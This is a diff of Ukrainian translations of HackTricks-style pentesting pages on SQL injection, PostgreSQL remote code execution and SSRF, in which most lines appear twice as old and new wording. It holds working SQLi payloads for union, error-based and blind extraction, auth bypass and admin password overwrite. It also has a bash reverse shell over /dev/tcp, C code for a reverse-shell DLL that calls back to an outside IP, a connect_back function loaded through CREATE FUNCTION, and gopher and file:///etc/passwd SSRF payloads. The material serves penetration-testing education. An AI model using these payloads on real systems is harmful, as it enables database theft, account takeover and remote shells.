В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, який **виконає складні операції**, що займе кілька секунд. риклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, щоб **виконати складні операції**, які займатимуть кілька секунд. риклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
### Визначення бекенду
### Ідентифікація бекенду
Найкращий спосіб визначити бекенд - це спробувати виконати функції різних бекендів. Ви можете використовувати _**sleep**_ **функції** з попереднього розділу або ці (таблиця з [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Найкращий спосіб ідентифікувати бекенд - це спробувати виконати функції різних бекендів. Ви можете використовувати _**sleep**_ **функції** з попереднього розділу або ці (таблиця з [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -131,9 +130,11 @@ SQLite
> [!NOTE]
> У продовженні ми будемо обговорювати різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.
### Визначення з PortSwigger
### Ідентифікація з PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Експлуатація на основі Union
@ -145,7 +146,7 @@ SQLite
#### Order/Group by
Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функції **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
Щоб визначити кількість стовпців у запиті, поступово коригуйте число, яке використовується в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функціональні можливості **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -169,11 +170,11 @@ SQLite
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Вам слід використовувати `null` значення, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку._
_Ви повинні використовувати `null` значення, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку._
### Витягти імена баз даних, імена таблиць та імена стовпців
У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, імена стовпців таблиці:
У наступних прикладах ми будемо отримувати ім'я всіх баз даних, ім'я таблиці бази даних, імена стовпців таблиці:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -186,26 +187,26 @@ _Вам слід використовувати `null` значення, оск
```
_Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова._
## Використання прихованого об'єднання
## Exploiting Hidden Union Based
Коли вихід запиту видимий, але об'єднаний ін'єкцію здається неможливим, це вказує на наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
Коли вихід запиту видимий, але ін'єкція на основі об'єднання здається недосяжною, це вказує на наявність **прихованої ін'єкції на основі об'єднання**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на ін'єкцію на основі об'єднання, потрібно визначити запит виконання на бекенді.
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS.
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається об'єднаний запит, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається запит об'єднання, що полегшує експлуатацію ново доступної ін'єкції на основі об'єднання.
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Використання на основі помилок
## Exploiting Error based
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете вивантажити базу даних.
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Використання Сліпого SQLi
## Використання сліпого SQLi
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинне** або **хибне** значення, оскільки на сторінці є різний вміст.\
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинний** або **хибний** відповідь, оскільки на сторінці є різний вміст.\
У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@ -224,7 +225,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Складені запити
Ви можете використовувати складені запити для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки часу.
Ви можете використовувати складені запити для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для ініціювання DNS-запиту, умовної помилки або затримки часу.
**Oracle** не підтримує **складені запити.** **MySQL, Microsoft** та **PostgreSQL** їх підтримують: `QUERY-1-HERE; QUERY-2-HERE`
@ -240,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## Автоматизоване використання
Перевірте [SQLMap Cheatsheet](sqlmap/) для експлуатації вразливості SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
Перевірте [SQLMap Cheatsheet](sqlmap/), щоб експлуатувати вразливість SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Технічна специфікація
@ -282,9 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Аутентифікація обхід
### GBK Аутентифікація Байпас
Якщо ' екранізується, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_)
IF ' екранізовано, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -333,9 +334,9 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
Приклад Payload Injection:
Приклад ін'єкції корисного навантаження:
Payload для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
Ін'єкційне корисне навантаження може бути створене наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -356,9 +357,9 @@ username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(selec
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Використання десяткових або шістнадцяткових чисел
#### Використання десяткових або шістнадцяткових
З цією технікою ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
За допомогою цієї техніки ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
Використовуючи **hex2dec** та **substr**:
```sql
@ -460,7 +461,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
### Інструменти для обходу WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Інші посібники
@ -469,7 +472,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
## Список виявлення брутфорсу
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ PostgreSQL було розроблено з можливістю розшире
### RCE в Linux
**Для отримання додаткової інформації перевірте: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
**Для отримання додаткової інформації дивіться: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументовано і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
@ -73,15 +73,15 @@ $$ LANGUAGE 'plpgsql';
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Ця помилка пояснюється в [документації PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
Ця помилка пояснена в [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажено в несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з вихідних файлів модуля, після того як ви включили заголовок fmgr.h:
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажений у несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з файлів виходу модуля, після того як ви включили заголовок fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна включати специфічний "магічний блок". Цей захід значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна містити специфічний "магічний блок". Ця міра значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
#### Скомпілюйте бібліотеку
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
```
Ви можете знайти цю **бібліотеку попередньо скомпільованою** для кількох різних версій PostgreSQL і навіть можете **автоматизувати цей процес** (якщо у вас є доступ до PostgreSQL) за допомогою:
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### RCE в Windows
@ -166,13 +168,13 @@ PG_RETURN_VOID();
{% file src="../../../images/pgsql_exec.zip" %}
Ви можете вказати цій DLL **який бінар виконати** і кількість разів, щоб виконати його, в цьому прикладі вона виконає `calc.exe` 2 рази:
Ви можете вказати цій DLL **який бінар виконати** і кількість разів, коли його потрібно виконати, в цьому прикладі вона виконає `calc.exe` 2 рази:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-оболонку:
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-шелл:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -250,7 +252,7 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** призведе до **виконання** зворотного шеллу:
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** виконає зворотний шелл:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
@ -258,21 +260,21 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
### RCE в нових версіях Prostgres
У **останніх версіях** PostgreSQL були введені обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних директорій, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на \*nix системах. Ці директорії **захищені** від операцій запису як для облікових записів NETWORK_SERVICE, так і для postgres.
У **найновіших версіях** PostgreSQL були введені обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних каталогів, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на \*nix системах. Ці каталоги **захищені** від операцій запису як обліковими записами NETWORK_SERVICE, так і postgres.
Незважаючи на ці обмеження, автентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у директорію `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
Незважаючи на ці обмеження, автентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у каталог `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по директоріях** у директорію даних. Відповідно, автентифікований атакуючий може **використати цей перехід** для запису файлу спільної бібліотеки у директорію даних, а потім **завантажити його**. Цей експлойт дозволяє атакуючому виконувати довільний код, досягаючи виконання нативного коду на системі.
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по каталогах** у каталог даних. Відповідно, автентифікований атакуючий може **використати цей перехід** для запису файлу спільної бібліотеки в каталог даних, а потім **завантажити його**. Цей експлойт дозволяє атакуючому виконувати довільний код, досягаючи виконання нативного коду на системі.
#### Потік атаки
Перш за все, вам потрібно **використовувати великі об'єкти для завантаження dll**. Ви можете побачити, як це зробити тут:
Перш за все, вам потрібно **використати великі об'єкти для завантаження dll**. Ви можете побачити, як це зробити тут:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
Як тільки ви завантажили розширення (з назвою poc.dll для цього прикладу) у директорію даних, ви можете завантажити його за допомогою:
Як тільки ви завантажили розширення (з назвою poc.dll для цього прикладу) у каталог даних, ви можете завантажити його за допомогою:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

View File

@ -22,7 +22,7 @@
## Обхід доменів у білому списку
Зазвичай ви виявите, що SSRF працює лише в **певних доменах у білому списку** або URL. На наступній сторінці ви знайдете **компіляцію технік для спроби обійти цей білый список**:
Зазвичай ви виявите, що SSRF працює лише в **певних доменах у білому списку** або URL. На наступній сторінці ви знайдете **компіляцію технік для спроби обійти цей білий список**:
{{#ref}}
url-format-bypass.md
@ -36,13 +36,13 @@ url-format-bypass.md
## Протоколи
- **file://**
- URL-схема `file://` посилається безпосередньо на `/etc/passwd`: `file:///etc/passwd`
- URL-схема `file://` згадується, вказуючи безпосередньо на `/etc/passwd`: `file:///etc/passwd`
- **dict://**
- URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє конструкцію URL, націлену на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє побудований URL, націлений на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: `url=sftp://generic.com:11111/`
- Визначено як протокол для безпечного передачі файлів через захищену оболонку, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: `url=sftp://generic.com:11111/`
- **TFTP://**
- Протокол простого передачі файлів, що працює через UDP, згадується з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- Згадується тривіальний протокол передачі файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: `'%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF через заголовок Referrer та інші
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "**Collaborator Everywhere**", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF.
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "**Collaborator Everywhere**", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF.
## SSRF через дані SNI з сертифіката
@ -121,7 +121,7 @@ ssl_preread on;
}
}
```
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Ця налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши бажану IP-адресу або доменне ім'я в полі SNI. Приклад експлуатації для примусового з'єднання з довільним бекендом, таким як `internal.host.com`, за допомогою команди `openssl` наведено нижче:
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Ця налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши бажану IP-адресу або доменне ім'я в полі SNI. Приклад експлуатації для примусового підключення до довільного бекенду, такого як `internal.host.com`, за допомогою команди `openssl` наведено нижче:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -137,11 +137,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## Від SSRF до DoS
Створіть кілька сесій і спробуйте завантажити важкі файли, експлуатуючи SSRF з сесій.
Створіть кілька сесій і спробуйте завантажити великі файли, експлуатуючи SSRF з сесій.
## Функції PHP для SSRF
Перевірте наступну сторінку на наявність вразливих функцій PHP і навіть Wordpress:
Перевірте наступну сторінку на наявність вразливих функцій PHP та навіть Wordpress:
{{#ref}}
../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## SSRF Перенаправлення на Gopher
Для деяких експлуатацій вам може знадобитися **надіслати відповідь на перенаправлення** (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди python для відповіді з перенаправленням:
Для деяких експлуатацій вам може знадобитися **надіслати відповідь на перенаправлення** (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди на python для відповіді з перенаправленням:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -253,7 +253,7 @@ Connection: close
```
## DNS Rebidding CORS/SOP обход
Якщо у вас є **проблеми** з **екстракцією контенту з локальної IP** через **CORS/SOP**, **DNS Rebidding** може бути використано для обходу цього обмеження:
Якщо у вас є **проблеми** з **екстракцією контенту з локальної IP** через **CORS/SOP**, **DNS Rebidding** може бути використаний для обходу цього обмеження:
{{#ref}}
../cors-bypass.md
@ -263,7 +263,7 @@ Connection: close
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) атак. Він включає необхідні компоненти для повторного зв'язування IP-адреси DNS-імені сервера атаки з IP-адресою цільової машини та для подачі атакуючих навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.
Перегляньте також **публічно працюючий сервер у** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
Також ознайомтеся з **публічно працюючим сервером у** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS Session ID/Session ticket
@ -275,15 +275,15 @@ Connection: close
Атака:
1. Попросіть користувача/бота **доступитися** до **домену**, контрольованого **зловмисником**
2. **TTL** **DNS** становить **0** сек (тому жертва незабаром перевірить IP домену знову)
3. Створюється **TLS з'єднання** між жертвою та доменом зловмисника. Зловмисник вводить **навантеження всередину** **Session ID або Session Ticket**.
1. Попросіть користувача/бота **доступитися** до **домена**, контрольованого **зловмисником**
2. **TTL** **DNS** становить **0** сек (тому жертва незабаром перевірить IP домена знову)
3. Створюється **TLS з'єднання** між жертвою та доменом зловмисника. Зловмисник вводить **навантаження всередину** **Session ID або Session Ticket**.
4. **Домен** почне **безкінечний цикл** перенаправлень проти **себе**. Мета цього - змусити користувача/бота отримати доступ до домену, поки він не виконає **знову** **DNS запит** домену.
5. У DNS запиті **тепер** надається **приватна IP** адреса (наприклад, 127.0.0.1)
6. Користувач/бот спробує **відновити TLS з'єднання** і для цього він **надішле** **Session** ID/Ticket ID (де містилося **навантеження** зловмисника). Тож вітаємо, ви змогли змусити **користувача/бота атакувати себе**.
6. Користувач/бот спробує **відновити TLS з'єднання** і для цього він **надішле** **Session** ID/Ticket ID (де містилося **навантаження** зловмисника). Тож вітаємо, ви змогли змусити **користувача/бота атакувати себе**.
Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (_memcache_), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 ( **порт завжди повинен бути однаковим**).\
Щоб **виконати цю атаку, ви можете використовувати інструмент**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (_memcache_), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 (**порт завжди має бути однаковим**).\
Для **виконання цієї атаки ви можете використовувати інструмент**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Для **додаткової інформації** ознайомтеся з доповіддю, де ця атака пояснюється: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## Сліпа SSRF
@ -294,7 +294,7 @@ Connection: close
**Перевіряючи час** відповідей від сервера, можливо, **можна дізнатися, чи існує ресурс чи ні** (можливо, доступ до існуючого ресурсу займає більше часу, ніж доступ до неіснуючого)
## Експлуатація SSRF у хмарі
## Експлуатація Cloud SSRF
Якщо ви знайдете вразливість SSRF на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище та навіть облікові дані:
@ -333,7 +333,7 @@ ssrf-vulnerable-platforms.md
- [Блог про використання SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ - це _Java RMI_ сканер вразливостей, який підтримує операції атаки для найбільш поширених вразливостей _Java RMI_. Більшість доступних операцій підтримують опцію `--ssrf`, щоб згенерувати _SSRF_ навантаження для запитуваної операції. Разом з опцією `--gopher`, готові до використання _gopher_ навантаження можуть бути згенеровані безпосередньо.
_remote-method-guesser_ - це _Java RMI_ сканер вразливостей, який підтримує операції атаки для найбільш поширених _Java RMI_ вразливостей. Більшість доступних операцій підтримують опцію `--ssrf`, щоб згенерувати _SSRF_ навантаження для запитуваної операції. Разом з опцією `--gopher`, готові до використання _gopher_ навантаження можуть бути згенеровані безпосередньо.
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
@ -341,7 +341,9 @@ SSRF Proxy - це багатопотоковий HTTP проксі-сервер,
### Для практики
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## Посилання

View File

@ -153,13 +153,15 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) може генерувати варіації з даного введення, щоб спробувати обійти використаний regex. Перегляньте [**цей пост**](https://0xacb.com/2022/11/21/recollapse/) для отримання додаткової інформації.
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) може генерувати варіації з даного вводу, щоб спробувати обійти використаний regex. Перегляньте [**цей пост**](https://0xacb.com/2022/11/21/recollapse/) також для отримання додаткової інформації.
### Automatic Custom Wordlists
Перегляньте [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) від portswigger, де ви можете ввести дозволений хост і хост атакуючого, і він згенерує список URL-адрес для вас. Він також враховує, чи можете ви використовувати URL в параметрі, в заголовку Host або в заголовку CORS.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass via redirect
@ -194,9 +196,9 @@ _Трюк з зворотним слешем_ використовує різн
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Лівий квадратний дужка
### Ліва квадратна дужка
Символ “лівий квадратний дужка” `[` в сегменті userinfo може призвести до того, що UriComponentsBuilder Spring поверне значення імені хоста, яке відрізняється від браузерів: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
Символ “ліва квадратна дужка” `[` в сегменті userinfo може призвести до того, що UriComponentsBuilder Spring поверне значення імені хоста, яке відрізняється від браузерів: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Інші непорозуміння

View File

